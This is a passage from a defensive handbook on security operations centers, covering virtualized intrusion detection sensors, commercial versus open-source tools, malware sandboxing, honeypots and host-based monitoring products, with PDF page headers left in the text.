the analyst less ambiguous. Figure 20 illustrates a high-level architecture of such a virtualized arrangement.In this example, we have folded six disparate sensors onto one hardware plat - form—even greater consoli - dation is possible in practice. We have leveraged commod - ity hardware, free or cheap virtualization technologies, and FOSS tools to collapse our monitoring architecture and maximize the hardware resourced at our disposal. In order for SOCs to pursue this approach, they should pay careful attention to FOSS NIDS VM 1 COTS NIDS VM 1 FOSS NIDS VM 2 COTS NIDS VM 2 FOSS NIDS VM 3 COTS NIDS VM 3 Virtual Host OS Virtual Switch 1 Virtual Switch 2 Virtual Switch 3NIC 1Network 1 Network 2 Network 3NIC 2 NIC 3 Figure 20 Virtualizing IDSes 136 optimizing their virtualization platform to their monitoring needs, being keenly atten - tive to any issues that may lead to packet loss. For example, using host virtualization of any sort may not work in very high bandwidth scenarios, due to its potential performance overhead. Many constituencies are subject to specific threats and, thus, have a compelling need for custom signature support. From a cyber perspective, a SOC, better than anyone else, should know its own constituency and, therefore, be the best group to generate custom signatures. Snort is regarded as the de facto standard when it comes to writing custom IDS signatures, and many COTS IDS vendors offer support for Snort syntax. In fact, other FOSS IDS platforms such as Suricata [64], use signature syntax very similar to that of Snort. When considering use of Snort-based custom signatures, the SOC has a few things to consider: ‚What proportion of the sensor fleet will need to fly these custom signatures? ‚How many custom signatures are needed—a few dozen or several hundred? Some IDSes pay a higher performance penalty for custom signatures than native ones. ‚How does the COTS NIDS support Snort signature implementation? Is it actually run - ning Snort, and, if so, how old is it? If it’s emulated, how good is the emulation and are all Snort preprocessors supported? ‚If the SOC already has a COTS NIDS with custom signature support, does that cus - tom syntax support its needs? Is it willing to spend time translating Snort signatures provided by other SOCs into this custom signature syntax? Some SOCs, which favor widespread use of “bleeding edge” Snort signatures, may choose to use native versions of Snort. Other SOCs, which don’t have strong UNIX/Linux expertise, may choose to go down the commercial path—either with the COTS version of Snort, Sourcefire, or another vendor that implements Snort signature support. SOCs can avoid running an extra Snort sensor fleet if they feel their COTS NIDS has sufficient Snort signature support. Having more than one IDS engine can give a SOC extra options when facing an elusive or targeted threat. Virtualization aside, let’s summarize the some typical differences between best-of- breed FOSS and COTS NIDS/NIPS platforms. (See Table 11.)Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center137 Table 11 COTS Versus FOSS for Network Monitoring Characteristic COTS FOSS Code base Closed Open SignaturesClosed. This can be very frustrating when an analyst wants to under - stand why an event fired; the num- ber and robustness of custom sig- natures are sometimes very limited.Open. Being able to understand and write signatures with the same fidelity for what ships with the product is an absolutely key feature; typically thousands of custom sig-natures can be flown if necessary. Protocol detection engine robustnessUsually very good. A major value-added as it is a vendor’s “secret sauce.”Also can be very good, but is up to the community to keep pace with evolving threats and protocols. Predisposition for false positivesVaries widely depending on the individual signature and detection engine.Varies widely depending on the individual signature and detection engine. Availability of sig-natures for critical new vulnerabilitiesWithin days Often within hours BandwidthCapable of handling multiple gigE taps; more expensive products advertise 10 gigE. Most solutions can handle gigE monitoring with little issue on mod- est hardware; scaling to 10 gigE and beyond typically requires attention to hardware and software optimiza- tion [157]. Management complexityAlmost always point-and-click, which makes training new staff straightforward, but some systems can be deceivingly hard to manage due to several layers of complex - ity; some COTS solutions become difficult to manage with fleets of hundreds of sensors.For the novice, this can be a daunt - ing task; experienced Linux/UNIX sysadmins can usually automate management of large fleets of sen- sors with very little sustained labor by leveraging tools native to the UNIX environment. Overall suitability for in-line prevention (NIPS) useDepends on the product imple- mentation; usually very good to excellent.Manual configuration of commod- ity hardware and OSes can make this problematic if the system is not built from the ground up to be fault tolerant. 138 Table 11 COTS Versus FOSS for Network Monitoring Characteristic COTS FOSS Combined cost of software and hard- ware to implement full solutionModerate to very expensive, depending on bandwidth require-ments; expect yearly maintenance costs to be around 20–25 percent of initial acquisition.Assuming the availability of a few talented Linux/UNIX administrators, this can be very cheap, especially with deployments of 50+ sensors; the only outyear cost is hardware maintenance. Both FOSS and COTS IDS platforms offer compelling features and drawbacks. Mature SOCs leverage a measured combination of both in their monitoring architectures. 8.2.7 M alware Detonation and Analysis If there was a “killer app” for NIDS/NIPS, it would probably be detecting and blocking direct, network-based attacks such as buffer overflows. These attacks faded in the late 2000s. Vendors improved their protection against these attacks against code that runs pri - marily on servers and applications directly exposed to the Internet. As a result, adversaries shifted their tactics to exploiting client weaknesses through phishing and pharming attacks. In these newer client-side attacks, users are tricked into downloading malicious content from websites or emails, respectively. This strategy works for two reasons: (1) there were still a large number of vulnerabilities in programs running on end hosts, and (2) attackers could easily target those vulnerabilities by placing malicious content on websites or send them to potential victims through email. While NIDS/NIPS can provide some limited help here, this set of attacks is usually beyond IDS’s capabilities. As a Portable Document Format (PDF) or Word document passes by on the wire, the IDS sees a stream of encoded binary information. The NIDS doesn’t usually have time to assemble the file and, therefore, doesn’t understand what it does when it runs. Enter a new breed of malware “detonation” or “sandboxing” products such as FireEye AX [81], Norman Shark [158] , and ThreatTrack TreatAnalyzer [80] that delve deeper into files pulled from network traffic or from end systems. These products are sometimes also known as “next generation AV” and blur the line with other product offerings [159] . Their main purpose is to accept potentially malicious files, “detonate” them in an artificial envi - ronment, and observe the behavior of the files at execution time. Malicious files will usually behave in suspicious ways like making privileged sys - tem calls, beaconing out for command and control, or downloading additional malicious packages. These malware detonation systems will look for this sort of activity, but without Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center139 signatures that define a specific attack or vulnerability. As a result, they are uniquely tuned to ongoing detection of zero-days and specially crafted malware. While the attack vectors may change, the outcome doesn’t, and that’s the system’s focus. Even if malware is obfuscated or packed inside a binary file, the detonation chamber should still be able to notice that it is acting in an anomalous or malicious way—something an IDS is not capable of. Content detonation systems come principally in two “flavors.” The first type accepts file uploads by users in an “offline” manner. This is particularly useful for Tier 2 incident analysts and malware analysts who need an on-demand capability that can provide quick details on whether a file is likely to be malicious or not. This capability can automate several hours of manually intensive malware reverse engineering. Best-of-breed products will provide specifics on system calls, network connections made, and files dropped. Some malware will actually try and detect whether it is running inside a virtual analysis environment and then change its behavior—a good content detonation system should also detect this. The second type is a device that can scan network traffic (usually Web or email) in real time, pull out malicious files, and detonate them fast enough to actually block the malicious content from reaching the victim user or system. This kind of device is targeted toward use cases where a SOC actually wants to detect or block client-side attacks in real time, thereby catching a lot of the “ankle-biter” malware traversing the constituency perimeter. Some systems can also take the “bad” files they’ve seen and automatically pro - duce IDS signatures that can be leveraged to see whether the same file popped up else - where on the network. At the time of this book’s writing, these devices are in vogue. They are being rapidly deployed in large enterprises and the marketplace is expanding. That said, there are some limitations and cautions regarding content detonation devices that should be recognized: ‚Many malware authors recognize that malware reverse engineers and content detona-tion devices will attempt to run their malware in a VM. As a result, the malware is built to be “VM-aware” and simply will not execute when in a VM, resulting in a false negative for VM-based detonation chambers. ‚Some malware requires user interaction before it will execute. The detonation cham-ber presumably has no user to click buttons in a dialogue box that will then trigger the malware to run, thereby resulting in a false negative. Building and configuring a content detonation system to cope with this can be a challenge. ‚Some exploits such as heap sprays require very specific arrangements of an OS’s components in memory. Because malware detonation systems try to fit as many VMs as possible in a modest platform, there may not be sufficient memory to fully simulate 140 what would run on a real end host. A VM may only have one GB of memory allocated, whereas a heap spray may require at least four GB to execute. Under such conditions, a false negative would result. ‚A lot of malware is less than perfect and may not successfully exploit a host every time it is executed. A content detonation device most likely only has one opportunity to detonate a file that is potentially malicious. As a result, the malware may not be caught in the single time it is run, resulting in a false negative. ‚Some malware may wait a certain amount of time before executing. The content detonation device will time out after a certain number of CPU cycles or seconds. Some malware authors will specifically write their malware to delay execution in order to avoid detection by AV engines or content detonation devices. ‚The content detonation device will open files within some sort of VM or sandbox that is meant to match common corporate desktop configurations. However, these configu - rations may diverge significantly from what is actually being used in the constituency. The operators of the content detonation device should make sure their VMs/sandboxes match the OS, browser, browser plug-in, and application revision, service pack, and patch level as used on their corporate desktop baseline. Failure to do so may result in either false positives or false negatives. ‚If used in in-line blocking mode, the content detonation device may serve as an additional point of failure in email or Web content delivery. If the constituency uses redundant mail or Web gateway devices, the SOC may consider also dedicating a content detonation device to each gateway device, thereby preserving the same level of redundancy but making deployment more expensive. At a minimum, the content detonation device should fail “open,” allowing traffic to pass if it fails. ‚A given content detonation device can execute only a certain number of files in a given period of time. Use on very high-speed links can be problematic because some files may never get executed, or the devices may run into bandwidth limitations. SOCs should work with vendors to ensure products are properly sized for their constituency size and that load-balancing techniques are used where necessary. ‚Content detonation devices will likely open a SOC’s eyes to the malware that the NIDS, HIDS, AV, and content-filtering devices never picked up, potentially alarming some staff and seniors. That said, the malware reports generated can only be correctly interpreted by someone with experience in malware reverse engineering. ‚SA provided by a content detonation device will make it very clear how many mal - ware hits a constituency had in a given day or week. Without additional context of whether these were mitigated or blocked, great alarm could result, even though con - cern is not warranted.Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center141 Malware detonation and analysis systems are powerful in large part due to their elegant concept and design. Despite their limitations, their use should be carefully consid- ered by almost any SOC. 8.2.8 Honeypots Whereas content detonation and analysis systems simulate an environment allowing the rapid discovery of malware, some SOCs may wish to mock up a full-fledged host or network environment in order to find and study adversaries such as would-be spammers. Honeypots are a set of computers set up by network defenders with the primary intent of luring in attacks and trapping them in a highly instrumented environment [160] . A comprehensive discussion of honeypots is beyond the scope of this book, but more information on them can be found in [7] and [161] . Generally, only the most well-resourced SOCs will deploy honeypots. We mention them here because they are a well-known technique leveraging many detection tools discussed in this section. They can result in increased intelligence of attacker behavior, allowing a SOC to better instrument its defensive capabilities. 8.2.9 T he Fate of the Network Intrusion Detection System When many large SOCs were first stood up in the late 1990s, NIDSes usually dominated any discussion of what it took to perform intrusion monitoring. Life was comparatively simple—attacks propagated across the network and a NIDS was the way the SOC detected them. In 2003, Gartner, Inc., declared NIDSes dead [162] . They made the point that NIDSes’ prodigious quantity of false positives renders them not worth the trouble—a conclusion that some SOC analysts have also arrived at. After all, a NIDS doesn’t do anything other than produce lots of data that some analysts find to be of questionable value. It follows that we should, instead, focus on our attention on NIPSes, which actually block attacks. At the end of the day, though, NIPSs are built on the same concepts as NIDSes, while their producers are more careful about keeping false positives under control with, presumably, more robust detection engines and better written signatures. Today, NIDS technologies are one among several technologies that a SOC will leverage to find potential malicious activity within the constituency. When leveraging LM or SIEM, a good feed of security-relevant logs may be just as valid a source of intrusion tip-offs as a purpose-built NIDS. More important, exploits executed across the network (most notably remotely exploitable buffer overflows) no longer constitute the overwhelming majority of initial attack vectors. Client-side attacks through phishing and pharming have become far more prevalent, giving way to the content detonation and analysis devices we talked about in the previous section. This, in addition to application logic attacks such as SQL Injection, requires reconstruction of protocols and behavior at layer 7 and above. As a result, 142 signature-based methods by themselves (e.g., AV and most NIDSes) are no longer consid - ered sufficient for finding attacks and defending a network. Does this mean the NIDS is truly dead? Not necessarily. It is a near-certainty that there will always be a network-based attack detection and response mechanism of some sort used by the SOC. Network-based monitoring technologies are usually the most cost-efficient and simplest means by which SOCs can gain visibility and attack detection coverage for a given enclave or network, especially in cases where they have no other visibility. Whether it’s a traditional, signature-based NIDS or something else is a separate issue. We clearly recog - nize a NIDS as just one tool in a larger suite that is, unfortunately, growing in complexity and cost. This is the reality of defending the modern enterprise. For more information on the history of intrusion detection, see Appendix B of [9] . 8.3 H ost Monitoring and Defense Network sensors have many virtues—one sensor can give us SA and tip-offs for potential incidents across thousands of systems. But their insight is only as deep as what can be seen in network traffic. To complement our visibility, it is also useful to instrument the end hosts with a variety of detection and blocking techniques. Details suggesting, confirming, and elaborating on the presence and penetration of the adversary can best be found through monitoring and analysis of the end hosts’ content. Moreover, incident response often involves touch labor on end hosts, a process that can take hours, days, weeks, or even longer. Consider an enterprise with well-instrumented desktops and servers that not only provide tip-offs and comprehensive context about an intrusion but also enable automated response actions. Many mature SOCs are compelled to pay as much attention to instrumenting end hosts as they are to the network. This section encompasses the scope of host sensor instrumentation used by the SOC to detect, analyze, understand, monitor, and prevent security incidents on the end host . These tools take the form of a software agent installed on the host that observes local host activ - ity. Similar to a NIDS, host tools are controlled and monitored by a central management system. Whereas NIDS/NIPS deployments can comprise dozens or hundreds of sensors, a SOC may have a host IDS/IPS deployed on every end host. In the case of a large enterprise, this could comprise hundreds of thousands of sensors. With such a wealth of data and the heterogeneous nature of the IT enterprise, scalability is a challenge. There are a number of capabilities we wish to bring to bear at the host level. While there are some niche products that only focus on doing one thing really well, more typi - cally we see one product combine multiple capabilities: ‚AV/ant ispy wa re ‚Intrusion detection and preventionMaximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center143 ‚Application blacklisting and whitelisting ‚Configuration tracking ‚Network access control ‚Host-based firewall ‚IP loss prevention ‚User activity monitoring ‚Remote incident and forensics support. Products that try to cover many or most of these features can be regarded as a Swiss Army knife—useful for many jobs when it’s all you have but sometimes inferior at any one task. Despite this, many SOCs feel compelled to go for the Swiss Army knife approach, due to budgetary and resource constraints. Also, integration into a diverse IT environment is a challenge, and each tool must be regularly tuned. Tools from different vendors have been known to recognize each other as malware, making coexistence of specialized tools a challenge. Almost every tool will leverage a set of observables contained in system memory, CPU, disk, peripheral contents, or a combination of these. The differences among tools lie in their targeted features and the techniques (e.g., “secret sauce”) that leverage various observables to support said features. As a result, we will begin our discussion by consid - ering these “observables” in some detail. Following that, we will discuss how they are leveraged for each major capability implemented in best-of-breed host-based monitoring. Finally, we will finish with key considerations for use of these tools in practice. 8.3.1 O bservables and Perspective When we have a presence on the end host, there are a multitude of possibilities for what we can learn about what the actors are doing. These observables can be gathered either on an ongoing basis or on demand and synthesized in many ways. Let’s start with the building blocks:From mounted file systems and any other storage: ‚OS version, installed service pack(s), and patch level ‚Installed applications ‚Resident files, their modification times, ownership, security permissions, contents, and summary data such as size and cryptographic hash value [163] ‚File system “slack space” containing deleted files and recycle bin/trash can contents ‚Contents of the entire physical disk such as a bit-by-bit image ‚OS and application logs ‚OS and application configuration data such as the contents of the Windows registry hive 144 ‚Browser history, cache, cookies, and settings. From system memory and processor(s): ‚Application process identification number (PID), creation time, executable path, execution syntax with arguments, name, user whose privileges it is running under (user context), CPU time used, and priority ‚Actions and behavior taken by running processes and threads, such as execution behavior and system calls ‚RAM contents and memory map ‚Clipboard contents ‚Contents and disposition of CPU registers and cache ‚Logged-in users or applications acting with privileges of a remote user such as with a database or custom application. From attached devices and system I/O: ‚Network flow (sometimes known as “host flow”) data, possibly including enrichments that tie process name to the ports and connections it has open ‚Content of network data traffic ‚User keystrokes ‚Actions from other input devices such as mice, touch pads, or touch screens ‚Screenshots ‚Connected devices, potentially including details such as device type, driver info, serial number/ID, system resources, addressable storage or memory (if applicable), and insertion/remove events. In order to paint a complete picture of what is happening on the host, it is usually necessary to examine all three of these elements (on disk, in memory, and attached device I/O). For instance, focusing on just the local file system will blind an analyst to malware operating exclusively in memory. The host monitoring package must also implement its data collection in a manner that doesn’t obligate a large portion of system resources, espe - cially CPU and RAM. Depending on where in the system we sit, the data we’re trying to gather can vary widely. We have the options described in the following paragraphs. Most host monitoring tools reside on disk and are run in memory like any other pro - gram. In this scenario, the tool must verify that when it starts its code has not been com-promised. By leaving a permanent presence on disk, it can run automatically each time on startup, but this makes it easier for malware to recognize its presence and circumvent detection.Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center145 Some host monitoring tools can run entirely in memory, with little or no on-disk foot - print. This technique provides some sort of installation or injection of code into the OS at boot time or shortly thereafter. This closes off some opportunities malware has to under - mine the host monitoring tool but introduces added complexity from a management and distribution perspective. In virtualized environments, it is possible for the host monitoring tool to live at the virtualization layer, using introspection techniques to “see into” virtualized guests but without the guest being aware of the monitoring tool’s presence. These techniques, while present in academia for some time, are still nascent in the commercial marketplace as of this book’s writing. Some products take a hybrid approach, with the main monitor - ing framework sitting at the parent host layer and tools reporting observed behavior from within the VM. When the monitoring package must reside on the host being monitored, it usually resides in “ring-0” [164] where the OS runs with system-level privileges. This, unfortu - nately, places it on equal footing with malware that obtains the same system-level privi - leges. This results in something of an arms race between malware authors and security vendors to defeat or circumvent each other on the host. Furthermore, malware that resides at the firmware, BIOS, or hardware has the advantage at defeating these monitoring pack - ages, at least in part, as famously claimed in [165] . Some more esoteric host monitoring approaches leverage permanent storage or a root of trust at the hardware level. Rootkit detection, for instance, could be driven by special - ized monitoring tools implemented as a peripheral component interconnect card in a sys - tem [166] but comes at prohibitive cost. There are also ways of using the trusted platform module (TPM) [167] in modern Intel architecture systems as a root of trust, ensuring both the OS and other components have not been compromised. This work, however, is still mostly in the research phase and small pilots as of this book’s writing. When considering any sort of host-based monitoring package, the CND architect is well advised to consider tools that are able, first and foremost, to defend themselves against the attacks they attempt to detect or prevent. For instance, a tool that detects rootkits is useless if it runs with user-level privileges and therefore is easily subverted by rootkits running with system-level privileges [168] . In this case, the monitoring package would likely be fooled into seeing the system’s content manipulated by what the rootkit wants it to see. 8.3.2 A ntivirus and Antispyware The topic of AV tools should be familiar to the readers. In short, we have a program that inspects file system and memory contents, leveraging a large signature pool and some 146 heuristics to find known malware or known malware techniques. Just as with signature- based IDSes, they may be circumvented [169] . They are not a complete defensive tool but are, arguably, still relevant in the context of Windows systems that are impacted by the vast majority of viruses in existence. Considering their limitations, a common criticism of AV tools is that their system resource utilization, RAM footprint, and regular disk scans out - weigh their diminishing benefits. Antispyware capabilities are often included in most AV suites. They add to their malware detection capabilities by also looking at Web browser specifics such as stored cookies, embedded Web page content, browser extensions, and stored cache. With these features, AV packages add some more modern value, especially for users wishing to rid their systems of some malware that comes from regular Web surfing. There has been significant attention paid to the fact that AV tools only detect a small percentage of all malware, and, of the malware they do detect, it is almost entirely mal - ware running on Windows/Intel-based platforms. Mandiant, a recognized vendor of host-based incident response tools, puts the detection rate of AV tools at 24 percent, when con - sidering “APT” malware [170] . Other sources have quoted percentages of anywhere from 15 to 40 percent [171] , [172]. In AV’s defense, 15 to 40 percent is better than zero percent, and, at the very least, AV can provide indicators that a host is infected. One thing to keep in mind, though, is that an AV tool will often report on a virus and report the system as “cleaned” when, in fact, it has only picked up on a portion of infection, leaving the adver - sary’s other tools and persistence on the system to continue unabated. Mandated use of AV in the corporate and government environment is still overwhelm - ingly common. Operationally speaking, use of AV on the Windows desktop is generally judged as worthwhile, albeit marginally [173] . AV on non-Windows platforms such as Apple, Linux, and UNIX is regarded as unnecessary by some network defenders, despite the fact that many organizations issue blanket “must deploy” AV policies for every desk - top and server in the enterprise. Nearly every large enterprise has a mandated host-based monitoring and prevention tool of some sort, and, in this regard, AV is considered the low - est common denominator. As we mentioned above, if a SOC deploys any tools other than AV, those tools may flag each other as malware or, in the most extreme cases, crash their host due to conflicts. SOCs must pay careful attention to integration prior to deployment. For more information on the detection rates and other comparisons between popular AV products, see [174] . 8.3.3 H ost Intrusion Detection System/Host Intrusion Prevention System Given our discussion of IDS from Section 2.7 and Section 8.2 , one can easily recognize the possibilities for detection and prevention of malicious activity at the host. Indeed, HIDS/Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center147 HIPS tools generally leverage both signature-based and behavior-based detection tech - niques. Whereas the cornerstone of AV is a library of signatures for millions of malware strains, the cornerstone of HIDS/HIPS is catching deviations from what is considered nor - mal OS and application behavior. HIDS/HIPS tools typically rely on a set of behavior profiles for everything running on a host. These behavior profiles can be built through periodic or continual “learning” or “training” of how hosts operate under what is presumed to be “normal” behavior. When hosts stray from this behavior baseline, an alert will fire, and, if set to prevent, a HIPS will actually block the activity. Imagine, for instance, if Microsoft Word suddenly started writing various Windows registry keys or opened communication to a remote server over a nonstandard networking protocol. A HIPS suite should notice and block this. Drawing another parallel to network-based IDS, a HIDS can be circumvented by advanced strains of malware. One classic technique on the Windows platform attacked vendors’ common reliance on how they examined key system components. For instance, a HIDS would pay close attention to any file modifications to c:\windows\system by monitor - ing the Windows file system handlers. Malware authors circumvented this by remapping this directory with an arbitrary name or by issuing direct I/O to the files contained within its directories, thereby avoiding detection. While this specific attack was recognized and resolved years ago by best-of-breed vendors, it illustrates the cat-and-mouse game that hin-ders most HIDS and HIPS tools to this day. Out of all the host monitoring suite components, HIDS/HIPS are often regarded as the most problematic for two reasons. First, they are deeply integrated with the host OS. In large enterprises with different system baselines, HIDS/HIPS packages can frequently cause nontrivial conflicts with other running components, so a certain level of mainte - nance and debugging before full deployment is always necessary. Second, it is always appealing to deploy a HIPS to a large portion of hosts, possibly all servers and in some cases all desktops. This can be a challenge because any missteps with HIDS/HIPS signa-ture or profile tuning can easily lead to widespread service interruptions and an influx of help desk calls. While these issues can crop up with any host-based monitoring tool, they seem to be most prevalent with HIPS. Popular HIDS/HIPS suites include IBM Security Server Protection [175] , McAfee Host Intrusion Prevention [176] , Symantec Endpoint Protection [177] , and Sophos HIPS [178] . 8.3.4 A pplication Blacklisting and Whitelisting One offshoot of HIDS/HIPS and AV is the ability to perform more proactive control over what can and cannot run on the end host. Application blacklisting is a technique whereby an OS module or protection agent blocks unwanted processes running on the end host [179] . 148 It does this by monitoring for processes that match a certain set of criteria such as process names, a code’s MD5 hash [163] , or whether the code has been signed by a trusted root cer - tificate authority. Blacklisting is akin to a “default allow” policy where only certain applica - tions are prevented from running. Application whitelisting is similar to application blacklisting, but instead of having a “default allow” policy, it uses a default deny approach. Sysadmins must define which pro - grams are authorized to run on which systems; all others are blocked from running either by the OS or by the blacklisting/whitelisting client. Application whitelisting and blacklisting may be built into some OSes (e.g., AppLocker in Windows 7 and Windows Server 2008 [180]). It is also often part of a HIDS/HIPS suite (e.g., Bit9’s Application Whitelisting [181] and McAfee’s Application Control [182] ). As is the case with both AV and HIDS/HIPS suites, some enterprise-grade implementations of application blacklisting and whitelisting are known to be circumvented by a number of techniques [183], but are nonetheless recognized as a means to raise the cost of successful exploitation [184]. Vendors have made vigorous efforts to close the holes in their protec - tion schemes, but, as with any other signature-based protection scheme, there is a certain “arms race” between white hats and black hats. SOCs wishing to pursue application whitelisting or blacklisting technologies should consider the additional management overhead involved in tracking allowed or denied applications on the enterprise baseline. In order to implement whitelisting, all monitored hosts must adhere to a known OS and application baseline, and the SOC must continually maintain absolute consistency with that baseline (lest a whitelisting tool stop a legitimate application or service from running). This can be especially problematic with a complex enterprise baseline or decentralized IT administration. As a result, many SOCs do not leverage whitelisting, due to the large time investment it entails. 8.3.5 C onfiguration Tracking, Attestation, and Enforcement Strong configuration management is universally regarded as a key enabler to a strong defen - sive posture for the enterprise. A nexus of this can be found with configuration monitoring at the desktop and server. Tools exist that passively track and attest to system configuration, such as the clas - sic open source version of Tripwire [185] . Traditionally, Tripwire is used on UNIX hosts to detect changes to key configuration files. While this can support proactive CM and change tracking, it can also be used to alert on changes that may be an indicator of malware or a malicious user. Tools that report on system configuration settings (and changes to them) can also be used to propagate configuration changes to systems. The commercial version of Tripwire [186] , which is available for a variety of UNIX and non-UNIX platforms, is one Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center149 such example. Changes that are detected in monitored files and settings can be reversed by the administrator. Aside from system settings, a focus area for these tools is checking the status of system patches. Whereas an enterprise may leverage one tool to push patches to the desktop and server, one way to cross-check compliance is to use a different tool that verifies the patches were successfully applied. Taken to their logical conclusion, configuration tracking tools can be combined with automation at the network infrastructure layer to shape services provided to systems (depending on their configuration compliance status). This is a key feature of network access control (NAC) systems sold by several companies, including PacketFence [187] , McAfee [188], Juniper [189] , and Microsoft [190] . Imagine a constituency with a large number of VPN users who may not connect to the corporate network for weeks or months at a time. When these users connect, their systems are likely to be significantly out-of-date, presenting a risk to other constituency systems. Once logged in via VPN, NAC can be used to limit those systems’ access to network resources such as patch servers until their systems are brought up to date. The NAC client installed on the end system will examine specified system attributes such as patch level and report those to the NAC server, which grants network access to the end hosts. There are a number of operational considerations to deploying NAC. For instance, are IT administrators willing to keep key executives from their email because their patches are a few weeks out of date? Can the help desk support increased incident load from users who experience issues with their NAC client unsuccessfully recognizing their patches are up-to-date? Have network administrators tried enforcing network switch port security [191] , and, if so, did they have the resources to keep up with constant changes to those IT assets that were plugged into the network? Finally, while these tools can be used to push configura - tion changes, they are generally not regarded as a comprehensive end-system management suite or patch distribution system. Regardless of the tool or technique used, skilled adversaries will be keenly interested in ensuring that CND analysts are not alerted to any changes resulting from their presence on constituency hosts. To that end, they will go to great lengths leveraging tools such as rootkits to shield changes to key system files that would trigger a Tripwire or NAC alert. In some cases, these tools could be attacked directly and made to provide false information to their upstream management servers. This is the case for any host-based monitoring tool but is most acute with configuration tracking and HIPS suites. While all but the simplest host monitoring tools will leverage a variety of internal checks to guard against compromise, none are foolproof when malware stands on an equal footing (ring 0) with monitoring packages. To this end, the TPM [167] may be used [192] as a root of trust for host configuration attestation. 150 8.3.6 Firewall Although firewalls are most widely recognized as appliances that filter traffic crossing between two or more networks, host-based network traffic filtering capabilities can be found in virtually all popular varieties of UNIX and Linux and will usually be included in most HIDS/HIPS suites. In UNIX and Linux environments, host-based firewalls are primar - ily used to limit external systems’ (and users’) access to sensitive services such as remote management tools (e.g., SSH). There are many host-based firewall packages—varying by particular flavors of UNIX—including IP tables [193] and Packet Filter (PF) [194] . Desktop firewalls, as they are commonly known, are generally used to augment rules already in place on network firewalls and gateways. These can be used to further hamper the spread of network-borne malware, especially in the presence of a pressing or elevated threat. It should also be noted that many intruder tools use legitimate ports and protocols, rendering less sophisticated desktop firewalls of limited use in countering the same mal - ware. Firewalls on the desktop are certainly not a replacement for enterprise-grade coun - terparts that sit at network gateways and are almost always used as a supplement to them and not a replacement. Symantec [195] , CheckPoint [196] , and McAfee [197] all provide host-based firewalls with their HIPS suites. 8.3.7 Int ellectual Property Loss Prevention With the increasing prevalence of encrypted network protocols and high-capacity removable media such as universal serial bus (USB) “thumb” drives, there is significant concern about the exfiltration of sensitive data from the enterprise. This can include anything from send - ing sensitive documents over personal email to downloading HR data to a thumb drive. The host is often the only place where we can expect to clearly see this activity (e.g., through network traffic and system call observables). As a result, many of the enterprise host monitoring packages listed in this section include functionality that will scan and report on data transferred to local removable media as well as website and email postings (known as intellectual property or data loss prevention [DLP]). Some intellectual property loss preven - tion packages can also be used to block or limit user access to removable media, enhancing functionality already present in Windows domain GPOs [198] . 8.3.8 U ser Activity Monitoring In some enterprises, there is a significant concern over the actions of a large portion of the user populace. Many organizations must follow a policy of “trust but verify,” whereby users are given latitude to perform their job functions, but their actions are heavily monitored. These may include any organizations that handle large amounts of sensitive or high-value data, such as defense, intelligence, finance, and some areas of industry. In such cases, a Maximize the Value of Technology Purchases T en Strategies of a World-Class Cybersecurity Operations Center151 security, counterintelligence, or intellectual property loss prevention shop may require full- scope user activity monitoring. Typically, these capabilities involve comprehensive capture of user activity on desktops, to the point where users’ actions can be monitored in real time or replayed with screenshots and keystrokes. The efficacy and legal issues surrounding use of such software is outside the scope of this book. However, as we can see from the observables mentioned above, the host is obviously the right place to perform such monitoring. Such packages will usually encompass func - tionality also found in the intellectual property loss prevention tools mentioned above. Commercial examples of insider threat monitoring packages include Raytheon SureView [199] and ObserveIT [200] . 8.3.9 I ncident and Forensics Support So far, the vast majority of our discussion with host monitoring has been focused on the left-hand portion of the cyber attack life cycle, whereas we are interested in the entire attack life cycle. When one box gets hacked or “popped,” the SOC must answer questions includ - ing: have any others been compromised? How do we know for sure if we never received an IDS or AV alert from any other hosts? What if a compromise was discovered through NetFlow analysis or a user calling in? Moreover, what do we do considering our SOC is in Arizona and the compromised system is in Morocco? In the latter half of the 2000s, several vendors have brought to market a series of prod - ucts meant to aid SOCs in rapidly evaluating the impact and spread of compromises in the constituency. These products include Mandiant for Intelligent Response [201] , AccessData CIRT [202], HBGary Responder Pro [203] , and Guidance EnCase Enterprise [204]. These tools are primarily designed to leverage the full scope of observables described at the beginning of Section 8.3 , sometimes known in this context as “host telemetry,” in support of ad hoc intrusion analysis. In addition, many of these tools can pull entire images of RAM or disk for remote analysis. For instance, imagine that a SOC analyst has a compromised system to deal with. Quick memory and disk analysis has revealed a set of programs that appears to be suspect. The aforementioned tools will allow the analyst to scan other systems in the constituency for evidence of the same files, perhaps through memory map analysis or file hash scanning on disk. Some tools, particularly EnCase Enterprise, will actually remotely pull a partial or full image of system contents for analysis. Or, let’s assume the enterprise has a fairly standard desktop and server system build. This suggests that the processes running on each host should be relatively consistent, bar - ring specialized applications or one-off system builds. Using one of these tools, the analyst can query host telemetry for programs or behavior occurring on only a small number of 152 hosts—an indication that they may be compromised or at least subject to nonstandard configuration practices. Although there are certainly scalability, performance, and bandwidth implications in using these tools, they can enable a variety of incident response options not otherwise available. Timelines for incident analysis can be shortened from weeks and months to min- utes and hours. SOCs that deal with multiple system compromises every week, especially at remote locations, are compelled to leverage remote incident response tools as part of the monitoring and response architecture. These tools, perhaps more than any other, allow a SOC to stay within the decision cycle of the adversary, even with a large, geographically dispersed enterprise. 8.3.10 In Practice Having a monitoring and response capability on constituency hosts can be an indispensable tool when used effectively. However, there are a number of cautions the SOC should keep in mind when considering deployment and use of various host-based tools discussed in Section 8.3 . As a result, we offer the following tips for success: ‚Host-based monitoring and protection is not a panacea. Some SOCs are put into a position of overselling the capability to upper manage - ment in order to get the capability funded and/or mandated. Managing expectations of IT seniors when it comes to any defensive tool is a challenge; with HIPS, this problem seems to be especially acute. Many seniors get the impression that with the deployment of this widget called “HIPS” our hosts are “protected” and “we’re good.” Of course, this is not the case. As usual, the SOC is advised to pursue a care - ful strategy for approaching upper management when deploying any pervasive tool such as HIDS/HIPS. ‚Commercial tools are primarily aimed at the Windows desktop, and secondarily the Windows server environment. In many cases, they are only marginally relevant in a UNIX, Linux, MacOS, main - frame, or embedded appliance context. For instance, on a Linux server, a combination of commonsense system lockdown, IPchains, log aggregation, and Tripwire may be more than sufficient. SOCs are encouraged to work with constituency executives and sysadmins to pur - sue a commonsense approach to ensuring comprehensive host monitoring coverage, while ensuring platform and threat relevancy. 